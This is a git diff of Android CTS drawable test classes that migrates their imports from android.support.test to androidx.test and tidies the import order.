diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index 422f06d..c2e2acc 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -29,17 +29,17 @@
import android.graphics.Rect;
import android.graphics.cts.R;
import android.graphics.drawable.AnimatedVectorDrawable;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
import android.util.Log;
import android.view.PixelCopy;
import android.view.View;
import android.widget.ImageView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
index f399cf6..773cc9e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableTest.java
@@ -32,18 +32,17 @@
import android.graphics.PorterDuff;
import android.graphics.PorterDuffColorFilter;
import android.graphics.cts.R;
-import android.graphics.drawable.Animatable2;
import android.graphics.drawable.AnimatedVectorDrawable;
-import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.ImageView;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
index eb27cf2..3fc38b1 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
@@ -32,13 +32,14 @@
import android.graphics.drawable.AnimationDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Xml;
import android.widget.ImageView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.After;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 536c16f..383f2d5 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -25,43 +25,36 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.content.res.Resources.Theme;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
import android.graphics.BitmapFactory;
-import android.graphics.Rect;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.Paint;
+import android.graphics.PixelFormat;
+import android.graphics.PorterDuff.Mode;
+import android.graphics.Shader;
+import android.graphics.Shader.TileMode;
import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.util.AttributeSet;
+import android.view.Gravity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParserException;
-import android.content.Context;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.ColorFilter;
-import android.graphics.Paint;
-import android.graphics.PixelFormat;
-import android.graphics.Shader;
-import android.graphics.Bitmap.Config;
-import android.graphics.PorterDuff.Mode;
-import android.graphics.Shader.TileMode;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.AttributeSet;
-import android.util.LayoutDirection;
-import android.util.Xml;
-import android.view.Gravity;
-
import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
index 2a41fbe..9dc9913 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ClipDrawableTest.java
@@ -46,14 +46,15 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.util.Xml;
import android.view.Gravity;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
index ee34254..fe617bd 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
@@ -31,12 +31,13 @@
import android.graphics.PorterDuffColorFilter;
import android.graphics.cts.R;
import android.graphics.drawable.ColorDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
index abba96e..84d0057 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
@@ -16,25 +16,25 @@
package android.graphics.drawable.cts;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import android.animation.ValueAnimator;
import android.content.Context;
import android.graphics.cts.R;
import android.graphics.drawable.Animatable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.DrawableContainer;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
-
/**
* This test is used to verify that the CustomAnimationScaleListDrawable's current drawable depends
* on animation duration scale. When the scale is 0, it is a static drawable, otherwise, it is an
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
index 9070690..c31229c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
@@ -28,11 +28,12 @@
import android.graphics.PixelFormat;
import android.graphics.cts.R;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
index c8d057a..1bc6eb9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
@@ -44,12 +44,13 @@
import android.graphics.drawable.ShapeDrawable;
import android.graphics.drawable.StateListDrawable;
import android.graphics.drawable.shapes.RectShape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StateSet;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
index aef8c3a..bd8a099 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
@@ -33,8 +33,9 @@
import android.graphics.drawable.DrawableContainer;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
import android.graphics.drawable.LevelListDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
index 9b93a48..f13ed13 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerTest.java
@@ -50,8 +50,9 @@
import android.graphics.drawable.DrawableContainer;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
import android.graphics.drawable.LevelListDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
index 3c26f39..617873b 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
@@ -16,11 +16,17 @@
package android.graphics.drawable.cts;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
import android.content.ContentResolver;
import android.content.Context;
@@ -36,36 +42,29 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.Callback;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.AndroidTestCase;
import android.util.AttributeSet;
import android.util.StateSet;
import android.util.TypedValue;
import android.util.Xml;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
import java.io.File;
import java.io.FileInputStream;
-import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.Matchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class DrawableTest {
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
index c7acccc..f4c45fa 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableWrapperTest.java
@@ -44,11 +44,12 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.DrawableWrapper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StateSet;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
index abcb71f..dbf96ef 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/Drawable_ConstantStateTest.java
@@ -27,9 +27,10 @@
import android.content.res.Resources;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index 4a05376..9615e27 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -36,12 +36,13 @@
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.GradientDrawable;
import android.graphics.drawable.GradientDrawable.Orientation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
index c248085..745aeca 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/IconTest.java
@@ -36,9 +36,10 @@
import android.os.Handler;
import android.os.Message;
import android.os.Parcel;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
index b1c1f03..17b564a 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/InsetDrawableTest.java
@@ -26,25 +26,23 @@
import android.content.res.Resources;
import android.content.res.Resources.Theme;
import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.ColorFilter;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.cts.R;
import android.graphics.drawable.Drawable;
-import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.InsetDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.util.Xml;
import android.view.InflateException;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
index 4331aba..ba841c7 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LayerDrawableTest.java
@@ -61,15 +61,16 @@
import android.graphics.drawable.RotateDrawable;
import android.graphics.drawable.ShapeDrawable;
import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.util.Xml;
import android.view.Gravity;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
index 9bc423b..602bea6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/LevelListDrawableTest.java
@@ -30,11 +30,12 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
import android.graphics.drawable.LevelListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
index 2760940..79052f8 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/NinePatchDrawableTest.java
@@ -44,13 +44,14 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.DisplayMetrics;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
index 30a07f7..9e9d28c 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PaintDrawableTest.java
@@ -28,12 +28,13 @@
import android.graphics.cts.R;
import android.graphics.drawable.PaintDrawable;
import android.graphics.drawable.shapes.RoundRectShape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
index 5aed95c..1142c20 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/PictureDrawableTest.java
@@ -26,8 +26,9 @@
import android.graphics.Picture;
import android.graphics.PixelFormat;
import android.graphics.drawable.PictureDrawable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
index 4f6bf6d..30afaf9 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RippleDrawableTest.java
@@ -31,11 +31,12 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.RippleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
index 00844f9..282ccb6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/RotateDrawableTest.java
@@ -43,12 +43,13 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.RotateDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
index ad1fe09..3d7dea4 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ScaleDrawableTest.java
@@ -48,13 +48,14 @@
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.ScaleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.StateSet;
import android.view.Gravity;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
index d563102..7f45fb0 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawableTest.java
@@ -46,12 +46,13 @@
import android.graphics.drawable.shapes.OvalShape;
import android.graphics.drawable.shapes.RectShape;
import android.graphics.drawable.shapes.Shape;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
index 7b170ed..a71ecbe 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ShapeDrawable_ShaderFactoryTest.java
@@ -20,8 +20,9 @@
import android.graphics.Shader;
import android.graphics.drawable.ShapeDrawable.ShaderFactory;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
index c96a1ca..991cfe6 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/StateListDrawableTest.java
@@ -33,12 +33,13 @@
import android.graphics.drawable.Drawable.ConstantState;
import android.graphics.drawable.DrawableContainer.DrawableContainerState;
import android.graphics.drawable.StateListDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.StateSet;
import android.util.Xml;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
index 1a3f774..b05671d 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ThemedDrawableTest.java
@@ -33,11 +33,12 @@
import android.graphics.drawable.LayerDrawable;
import android.graphics.drawable.NinePatchDrawable;
import android.graphics.drawable.RippleDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
index 4bb37c3..3519d11 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/TransitionDrawableTest.java
@@ -35,9 +35,10 @@
import android.graphics.cts.R;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.TransitionDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
